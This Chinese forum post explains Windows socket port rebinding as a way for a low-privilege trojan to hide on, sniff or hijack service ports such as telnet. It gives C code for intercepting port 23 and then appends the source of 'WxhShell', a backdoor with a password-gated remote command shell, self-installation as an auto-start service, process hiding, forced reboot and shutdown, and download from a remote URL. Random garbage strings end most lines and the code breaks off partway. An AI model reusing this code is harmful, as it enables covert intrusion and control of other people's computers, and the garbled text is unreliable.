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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: zm5Pl G  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q@[F|EF=  
NFEr ,n  
  saddr.sin_family = AF_INET; O$m &!J  
ny1O- `!1  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ZlMT) ~fM&  
1 @t.J>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); tNzO1BK  
wyB]!4yy,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 eQ#i.%   
>L4F'#I  
  这意味着什么?意味着可以进行如下的攻击: FP=- jf/  
Er j{_i?R?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 r.zgLZ}3&V  
jF}kV%E  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) PLs`Ci|`  
tR'RB@kJ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 cRrJZ9  
|a#ikY _nd  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  IA.7If&k  
@- |G_BZ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 sZ&|omN  
6#CswSpS  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 l_:P |  
 AkS16A  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 b:Zh|-  
]3I a>i  
  #include H2: Zda#  
  #include -;_"Y]#  
  #include AJ*17w  
  #include    2h51zG#qd  
  DWORD WINAPI ClientThread(LPVOID lpParam);   h>GbJ/^  
  int main() ,IboPh&Q78  
  { |LQ%sV  
  WORD wVersionRequested; [iq^'E  
  DWORD ret; ,Owk;MV@  
  WSADATA wsaData; ~=OJCKv5(  
  BOOL val; ]9w)0iH  
  SOCKADDR_IN saddr; E#(e2Z=  
  SOCKADDR_IN scaddr; Evm3Sm!S  
  int err; ~//9Nz~;3  
  SOCKET s; l%GArH`  
  SOCKET sc; L QV@]z&  
  int caddsize; MjC<N[WO>N  
  HANDLE mt; ~"`e9Im  
  DWORD tid;   %+j/nA1%S  
  wVersionRequested = MAKEWORD( 2, 2 ); =Vs?=|r  
  err = WSAStartup( wVersionRequested, &wsaData ); `f~bnL  
  if ( err != 0 ) { "*X\'LPs=  
  printf("error!WSAStartup failed!\n"); T]&?^QGAZ  
  return -1; eUN aq&M  
  } cK]n"6N[  
  saddr.sin_family = AF_INET; >KrI}>!9r  
   IW<rmP=R&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &M?b 08  
EEZ~Bs}d  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); e Fz$h2*B  
  saddr.sin_port = htons(23); C;JW \J~W  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #btf|\D  
  { 9;7"S.7AV  
  printf("error!socket failed!\n"); 1 PdG1'  
  return -1; +\_\53  
  } BE@(| U  
  val = TRUE; {z 5YJ*C  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -avxH?;?7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >e6OlIW  
  { Iga +8k  
  printf("error!setsockopt failed!\n"); Y2l;NSWU  
  return -1; aIa<,  
  } '1 2*'Q+{+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; RDDA^U7y#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 tP! %(+V  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5Q8 H8!^  
KM[0aXOtv  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) d38o*+JCf  
  { MhHh`WUGh  
  ret=GetLastError(); !zOj`lx  
  printf("error!bind failed!\n"); )HE{`yiLL  
  return -1; &K'*67h  
  } lJFy(^KQG,  
  listen(s,2); w#A\(z%;x  
  while(1) i,;eW&  
  { l59\Lo:  
  caddsize = sizeof(scaddr); Z9M$*Zp  
  //接受连接请求 NCi~. I  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >&+V[srfD  
  if(sc!=INVALID_SOCKET) LBD],Ba!  
  { 3;Yd"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); qdpi-*2  
  if(mt==NULL) #p*uk  
  { L)U*dY   
  printf("Thread Creat Failed!\n"); FvVC 2Z  
  break; =Y|( }92  
  } |X>'W"Mn  
  } dYD;Z<l  
  CloseHandle(mt); Ve"(}z  
  } @hA`f4^  
  closesocket(s); $6UU58>n  
  WSACleanup(); ; ,sNRES3  
  return 0; N}n3 +F  
  }   CQ6I4k  
  DWORD WINAPI ClientThread(LPVOID lpParam) Co(N8>1  
  { Wm-$l  
  SOCKET ss = (SOCKET)lpParam; F%p DF\  
  SOCKET sc; ["&{^  
  unsigned char buf[4096]; /Q7q2Ne^*  
  SOCKADDR_IN saddr; aG;F=e  
  long num; 8 f~x\.  
  DWORD val; w`8H=Hf  
  DWORD ret; l+2NA4s  
  //如果是隐藏端口应用的话,可以在此处加一些判断 P]^OSPRg  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   V0>[bzI  
  saddr.sin_family = AF_INET; D['J4B  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); L$O\fhO?  
  saddr.sin_port = htons(23); ^ICSh8C  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h&L-G j  
  { |LC"1 k  
  printf("error!socket failed!\n"); 8k:^( kByF  
  return -1; 7P(o!%H  
  } oS%(~])\  
  val = 100; ldp9+7n~  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gd#R7[AVi  
  { +jF |8  
  ret = GetLastError();  G-1qxK  
  return -1; p : z ][I  
  } #Swc>jYc  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r3' DXP  
  { ?F]P=S:x  
  ret = GetLastError(); Xux[  
  return -1; @ntwdv;  
  } rz&V.,s  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) c"kB@P  
  { %>+lr%B  
  printf("error!socket connect failed!\n"); '"7b;%EN'  
  closesocket(sc); &D[M<7T  
  closesocket(ss); 3,v/zcV  
  return -1; m4OnRZYlw  
  } -E6av|c,F  
  while(1) 53aJnxX  
  { k?Hi_;o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {9Qc\Ij  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 -6-rX D  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Ww8U{f  
  num = recv(ss,buf,4096,0); "4WnDd 5"  
  if(num>0) [I%e Ro[  
  send(sc,buf,num,0); =/'>.p3/S  
  else if(num==0) w{T$3F`@9  
  break; "2C}Pr ,p8  
  num = recv(sc,buf,4096,0); eSObOG/  
  if(num>0) VFZyWX@#u  
  send(ss,buf,num,0); ~28{BY  
  else if(num==0) [>GblL  
  break; ]aMDx>OE  
  } cu?6\@cD  
  closesocket(ss);  Xp<O  
  closesocket(sc); Z ;~%!  
  return 0 ; viU}  
  } B=>Xr!pM!  
BTr;F]W  
1yF9zKs&_  
========================================================== Y9f7~w^s  
-eV*I >G  
下边附上一个代码,,WXhSHELL ,^mEi  
^pe/~ :a  
========================================================== 8d'/w}GV  
) C~#W  
#include "stdafx.h"  Rh6CV  
j8e=],sQ  
#include <stdio.h> Y{e,I-"{  
#include <string.h> & ;5f/  
#include <windows.h> :I";&7C  
#include <winsock2.h> mp sX4  
#include <winsvc.h> 2l V`UIa  
#include <urlmon.h> L=Aj+  
r*mYtS  
#pragma comment (lib, "Ws2_32.lib") 4IW90"uc  
#pragma comment (lib, "urlmon.lib") 7lF;(l^Z>}  
Gl{'a1  
#define MAX_USER   100 // 最大客户端连接数 o92BGqA>&  
#define BUF_SOCK   200 // sock buffer tOnOzD  
#define KEY_BUFF   255 // 输入 buffer /KnIU|;  
o-_,l J7o^  
#define REBOOT     0   // 重启 g$)0E<  
#define SHUTDOWN   1   // 关机 aDz% %%:r  
+ah4 K(+3  
#define DEF_PORT   5000 // 监听端口 3C=QWw?  
#gWok'ZcR  
#define REG_LEN     16   // 注册表键长度 rLD1Cpeb,w  
#define SVC_LEN     80   // NT服务名长度 @~$=96^  
?\4kV*/Cqz  
// 从dll定义API $Nvox<d0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )2W7>PY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -u~:Gd*l0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8%4v6No&*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :+9. v  
k "7,-0gz  
// wxhshell配置信息 |I"&Z+m  
struct WSCFG { (]mBAQ#hw  
  int ws_port;         // 监听端口 {s*1QBM$\Z  
  char ws_passstr[REG_LEN]; // 口令 kd&~_=Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no :SN?t  
  char ws_regname[REG_LEN]; // 注册表键名 ixM#|Yq  
  char ws_svcname[REG_LEN]; // 服务名 ||cI~qg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +  rN#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;H%'K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [=. iJ5,{2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1GR|$E  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &?@U_emLi  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )knK'H(  
>3p8o@:  
}; %|/\Qu  
HWou&<EK  
// default Wxhshell configuration hP[/xe  
struct WSCFG wscfg={DEF_PORT, 2^5RQl/  
    "xuhuanlingzhe", &kWT<*;J)  
    1, ^N ;TCn  
    "Wxhshell", g p|G q  
    "Wxhshell", A #pH$s  
            "WxhShell Service", =VWH8w.3  
    "Wrsky Windows CmdShell Service", *6_>/!ywI  
    "Please Input Your Password: ", bS|h~B]rd  
  1, I A=\c  
  "http://www.wrsky.com/wxhshell.exe", p*zTuB~e<  
  "Wxhshell.exe" :=quCzG  
    }; Y?oeP^V'u  
N-p||u  
// 消息定义模块 |a0@4 :  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n%vmo f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4 ;6,h6a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *m&'6qsS  
char *msg_ws_ext="\n\rExit."; Kx;la  
char *msg_ws_end="\n\rQuit."; $G /p[JG6-  
char *msg_ws_boot="\n\rReboot..."; {>ghX_m |  
char *msg_ws_poff="\n\rShutdown..."; >^@~}]L  
char *msg_ws_down="\n\rSave to "; Zwtz )ZII  
(w<llb`]  
char *msg_ws_err="\n\rErr!"; 6_w~#86=  
char *msg_ws_ok="\n\rOK!"; UY\E uA9  
Xa U ^^K  
char ExeFile[MAX_PATH]; o|s|Wm x>u  
int nUser = 0; 8RZqoQDH  
HANDLE handles[MAX_USER]; }&l%>P  
int OsIsNt; dZd]p8  
?|hYtV  
SERVICE_STATUS       serviceStatus; [].euDrX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; RbA.&=3  
)DQcf]I  
// 函数声明 (f"LD8MJ/  
int Install(void); +I.{y  
int Uninstall(void); JVx-4?  
int DownloadFile(char *sURL, SOCKET wsh); (3m^@2i  
int Boot(int flag); 1q*=4O  
void HideProc(void); @C~gU@F  
int GetOsVer(void); +=kz".$  
int Wxhshell(SOCKET wsl); ``h* A  
void TalkWithClient(void *cs); \gir  
int CmdShell(SOCKET sock); pe\]}&  
int StartFromService(void); Wjd_|Kui  
int StartWxhshell(LPSTR lpCmdLine); {|q(4(f"Iu  
l n09_Lr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %:-2P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g`=Z%{z%  
dP/1E6*m  
// 数据结构和表定义 ~NK|q5(I  
SERVICE_TABLE_ENTRY DispatchTable[] = 99Nm?$ g  
{ `q y@Qo  
{wscfg.ws_svcname, NTServiceMain}, SQG9m2  
{NULL, NULL} qHYoQ.ke  
}; oHethk  
hus9Zv4  
// 自我安装 ?j8_j  
int Install(void) YipL_&-  
{ phcYQqR  
  char svExeFile[MAX_PATH]; {%Q+Pzl.  
  HKEY key; ?[X^'zz}  
  strcpy(svExeFile,ExeFile); w[;5]z  
5.U|CL  
// 如果是win9x系统,修改注册表设为自启动 0*/[z~Z-1  
if(!OsIsNt) { QyEoWKu;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pc](  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `jGG^w3  
  RegCloseKey(key); $)j f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cD<5~`l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~5~Cpu2v7  
  RegCloseKey(key); SivJaY%  
  return 0; 0{47TX*YX  
    } K3J,f2Cn$  
  } ? C6t Yd  
} MF5o\-&dN  
else { E^Z?X2Z  
Bc?KAK  
// 如果是NT以上系统,安装为系统服务 7Y1FFw |  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @_"Z]Y ,D0  
if (schSCManager!=0) Dgz^s^fxU  
{ S),acc(d  
  SC_HANDLE schService = CreateService H')8p;~{}  
  ( I^gLiLUN*6  
  schSCManager, 2Ni {fC?  
  wscfg.ws_svcname, gp]T.ol  
  wscfg.ws_svcdisp, &>Nw>V  
  SERVICE_ALL_ACCESS, kfs[*ku  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Uj)`(}r  
  SERVICE_AUTO_START, zhC5%R &n/  
  SERVICE_ERROR_NORMAL, K!|J/W  
  svExeFile, =D^R,Q  
  NULL, eh6=-  
  NULL, hyC]{E  
  NULL, 5}'W8gV?  
  NULL, Nb/Z+  
  NULL vqJq=\ .m  
  ); ~|8-Mo1ce  
  if (schService!=0) 2fMKS  
  { 03dmHg.E!E  
  CloseServiceHandle(schService); a~Y`N73/c  
  CloseServiceHandle(schSCManager); <3[0A;W=1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d01]5'f?o  
  strcat(svExeFile,wscfg.ws_svcname); YyD0g9{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QWAtF@qTV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $36.*s m  
  RegCloseKey(key); P^m&oH5]EG  
  return 0; /9@ VnM  
    } @A8@j%CK1  
  } j4]y(AA  
  CloseServiceHandle(schSCManager); sk~inIj-  
} 63pd W/\j  
} <2fgao&-n  
7NQEnAl  
return 1; a/lTQj]A  
} kuo!}QFL  
7toDk$jJRg  
// 自我卸载 *L#\#nh7  
int Uninstall(void) mBg$eiGTB  
{ yey]#M[y  
  HKEY key; ~y8KQ-1n"  
Na$[nv8qh  
if(!OsIsNt) { 8QFg6#"O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C"g bol^  
  RegDeleteValue(key,wscfg.ws_regname); *w23(f  
  RegCloseKey(key); V%[34G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cPPTGpqw  
  RegDeleteValue(key,wscfg.ws_regname); %HcCe[d5l  
  RegCloseKey(key); cP >[H:\Xc  
  return 0; a3SBEkC  
  } Q-y`IPtA<  
} iO{LsG*5Z  
} } o@Dsx5  
else { 5T]dQ3[v4  
_.^`DP >  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fsUZG6  
if (schSCManager!=0) T8 >aU  
{ rE9Nt9}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N<T@GQwkS  
  if (schService!=0) NbUbLzE  
  { M.fA5rJ^  
  if(DeleteService(schService)!=0) { "{M?,jP#  
  CloseServiceHandle(schService); v] hu5t  
  CloseServiceHandle(schSCManager); hf< [$B  
  return 0; @5*$yi 'Cp  
  } dc,qQM  
  CloseServiceHandle(schService); b-HELS`nX  
  } C,VvbB  
  CloseServiceHandle(schSCManager); sTw+.m{F  
} ^_\%?K_u  
} U*7x81v?j  
|?4NlB6  
return 1; "WzD+<oL  
} -nDY3$U/  
b>L?0p$ej  
// 从指定url下载文件 r&Qq,koE  
int DownloadFile(char *sURL, SOCKET wsh) q:u,)6  
{ tYMPqP,1.  
  HRESULT hr; w7b\?]}@  
char seps[]= "/"; WlmkM?@  
char *token; my%MXTm2  
char *file; p'\zL:3  
char myURL[MAX_PATH]; _[$,WuG1  
char myFILE[MAX_PATH]; \"6?*L|]  
C!W0L`r  
strcpy(myURL,sURL); > - U+o.o  
  token=strtok(myURL,seps); {fS~G2@1  
  while(token!=NULL) { _~vf  
  { y'm5Z-@o6  
    file=token; 8\Hz FB  
  token=strtok(NULL,seps); *g[MGyF "  
  } %{&,5|8  
59BB-R,V  
GetCurrentDirectory(MAX_PATH,myFILE); nfksi``Vq  
strcat(myFILE, "\\"); t {H{xd  
strcat(myFILE, file); a6\`r^@  
  send(wsh,myFILE,strlen(myFILE),0); eD!mR3Ai@D  
send(wsh,"...",3,0); *1,4#8tB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IO<Ds#(  
  if(hr==S_OK) |G/W S0  
return 0; %F13*hOu  
else -lm)xpp1  
return 1; d:=Z<Y?d/  
1H \  
} Tb\<e3Te_  
3? F~ H  
// 系统电源模块 u9N /9  
int Boot(int flag) NiD_v  
{ H h35cj  
  HANDLE hToken; __}ut+H^5p  
  TOKEN_PRIVILEGES tkp; ZP '0=  
HJJ; gTj  
  if(OsIsNt) { O~m Q\GlW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8^sh@j2L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 17-B'Gl!<%  
    tkp.PrivilegeCount = 1; c&C*'c-r  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2d&]V]:R*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ox5WboL  
if(flag==REBOOT) { Z?u}?-b1\H  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q hdG(`PY~  
  return 0; DhXV=Qw  
} UjS+Ddp  
else { /[E2+g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZmmX_!M  
  return 0; zxkO&DGRbN  
} ~I;|ipK4m  
  } %F\.1\&eE  
  else { 7[I +1  
if(flag==REBOOT) { _{$<s[S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zwk& 3  
  return 0; v[V7$.%5Q  
} v2k@yxt(  
else { [,(+r7aB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }m&\I  
  return 0; Q" r y@ (I  
} wHh6y?g\  
} 8Oz9 UcG  
6Ta+f3V   
return 1; <<R2 X1  
} w|abaMam  
7^tYtMm|U  
// win9x进程隐藏模块 \ &47u1B  
void HideProc(void) $gZiW8  
{ oU se~  
)!~,xl^j{}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @km4qJZ  
  if ( hKernel != NULL ) e$/y ~!  
  { kU,g=+ 2J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >>|47ps3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kW0ctGFYlf  
    FreeLibrary(hKernel); ~tn$AtK  
  } 2MmHO2  
f3S 8~!  
return; ubRhJ~XB  
} -ijzo%&qA  
cbl>:ev1h  
// 获取操作系统版本 ESUO I  
int GetOsVer(void) "Mz#1Laby`  
{ xT(0-o*  
  OSVERSIONINFO winfo; Lp/'-Y_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !{fu(E  
  GetVersionEx(&winfo); c\/-*OYr<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _>ZC;+c?  
  return 1; suE8"v!sk  
  else wY ??#pS  
  return 0; uQ|LkL%< ^  
} 4ETHaIiWp  
TU': Rt  
// 客户端句柄模块 {{?MO{Mh*  
int Wxhshell(SOCKET wsl) RA?_j$  
{ 9MH;=88q  
  SOCKET wsh; "U+c`V=w  
  struct sockaddr_in client; (<rE1w2s:  
  DWORD myID; <v/aquLN  
*6eJmbFG  
  while(nUser<MAX_USER) fef y`J  
{ wE"lk  
  int nSize=sizeof(client); $B7c\MR j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |}UA=? Xl  
  if(wsh==INVALID_SOCKET) return 1; KDP"z  
N;,zPWa  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R!yh0y}Z  
if(handles[nUser]==0) )_\;l%&  
  closesocket(wsh); W?"l6s  
else Pm%5c\ef  
  nUser++; P (DEf(  
  } -%| ] d ;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;Yv{)@'Bc  
P j,H]  
  return 0; |?ZU8I^vW  
} _`gkYu3R+  
 + K`.ck  
// 关闭 socket RyU8{-q  
void CloseIt(SOCKET wsh) 5*+DN U@  
{ 'J3yJ{  
closesocket(wsh); !Z |_3  
nUser--; 4_ypFuS^  
ExitThread(0); [V qiF~o,  
} Wp+lI1t  
@$!6u0x  
// 客户端请求句柄 b8Z_o N5!  
void TalkWithClient(void *cs) S(nQ?;9,  
{ 63J3NwFt  
>F:1a\c  
  SOCKET wsh=(SOCKET)cs; .c&&@>m@.  
  char pwd[SVC_LEN]; mj'N)6ga  
  char cmd[KEY_BUFF]; 0|J9Btbp  
char chr[1]; {to(?`Y  
int i,j; qA\&%n^ j]  
+nHr+7}  
  while (nUser < MAX_USER) { B8?9L8M}  
po\jhfn  
if(wscfg.ws_passstr) { kZo# Ny  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w\ 0vP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +H?g9v40  
  //ZeroMemory(pwd,KEY_BUFF); VcXr!4 M  
      i=0; 1h(IrV5g  
  while(i<SVC_LEN) { oV;sd5'LG  
j`q>YPp  
  // 设置超时 DU8\1(  
  fd_set FdRead; .ahY 1CO  
  struct timeval TimeOut; >N2kWSa  
  FD_ZERO(&FdRead); ^;h\#S[%  
  FD_SET(wsh,&FdRead);  :\'1x  
  TimeOut.tv_sec=8; 5z9hcQAS  
  TimeOut.tv_usec=0; ' `c \Dq  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f3qR7%X?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Er|&4-9  
&bfM`h'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qo 7<g*kf~  
  pwd=chr[0]; Mpyza%zj  
  if(chr[0]==0xd || chr[0]==0xa) { `?.6}*4@_A  
  pwd=0; yUD@oOVC0  
  break; YgjW%q   
  } 7O k-T10  
  i++; 0TA8#c  
    } ky]^N)  
k{lo'  
  // 如果是非法用户,关闭 socket Pv,PS.,-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j>?nL~{  
} :RukW.MR  
lK7:qo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }~=<7|N.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @%2crJnkS  
A'7Y{oPHX  
while(1) { $H.U ~  
WRkuPj2  
  ZeroMemory(cmd,KEY_BUFF); W( sit;O  
BeQ'\#q,  
      // 自动支持客户端 telnet标准   Ix,b-C~  
  j=0; N0}[&rE 8  
  while(j<KEY_BUFF) { ;<[!;8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /DH`7E  
  cmd[j]=chr[0]; OmZZTeGg1s  
  if(chr[0]==0xa || chr[0]==0xd) { iG"v  
  cmd[j]=0; <dE~z]P  
  break; 2]Cn<zJ  
  } x1`(Z|RJ  
  j++; o6|- :u5_/  
    } H1%o)'Kut4  
l{.PyU5)  
  // 下载文件 *0@Z+'M?  
  if(strstr(cmd,"http://")) { 0PFC %x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D4(73  
  if(DownloadFile(cmd,wsh)) frm[<-~w0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yc-5Mr8*,  
  else E&z^E2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YU 0pWM  
  } Iurz?dt4w  
  else { BR?DW~7J j  
v(JjvN21  
    switch(cmd[0]) { fV7 k{dR  
  2?Ryk`2i)  
  // 帮助 U?|A3;,xh  
  case '?': { !BrZTo  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9}2/ko  
    break; 3AR'Zvn  
  } g#l!b%$  
  // 安装 R\n@q_!`X  
  case 'i': { W7~_XI  
    if(Install()) <3tf(?*,k]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y]obO|AH  
    else !,Gavt7f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `FNU- I4s  
    break; k5tyOk  
    } []N&,2O  
  // 卸载 G@~e :v)  
  case 'r': { y c<%f  
    if(Uninstall()) 0QquxYYw,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hUp3$4w  
    else rVsCJuxI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i@WO>+iB  
    break; $^ir3f+  
    } KYKF$@ <G  
  // 显示 wxhshell 所在路径 ]v@ng8  
  case 'p': { }3XjP55  
    char svExeFile[MAX_PATH]; I Gb'ii=A  
    strcpy(svExeFile,"\n\r"); QjJlVlp  
      strcat(svExeFile,ExeFile); veh=^K%G |  
        send(wsh,svExeFile,strlen(svExeFile),0); ]5`A8-Q@  
    break; *kF/yN  
    } i>G:*?a  
  // 重启 rk ,64(  
  case 'b': { V_v+i c^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }V.fY3J-  
    if(Boot(REBOOT)) >.C$2bW<L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r z@%rOWV  
    else { v [x 5@$  
    closesocket(wsh); #3?"#),q  
    ExitThread(0); Ue,eEer  
    } l,A\]QDvl  
    break; e*( _Cvxp  
    } =yqg,w&Q  
  // 关机 jamai8  
  case 'd': { rc%*g3ryLG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u|EJ)dT?  
    if(Boot(SHUTDOWN)) E6G;fPd= E  
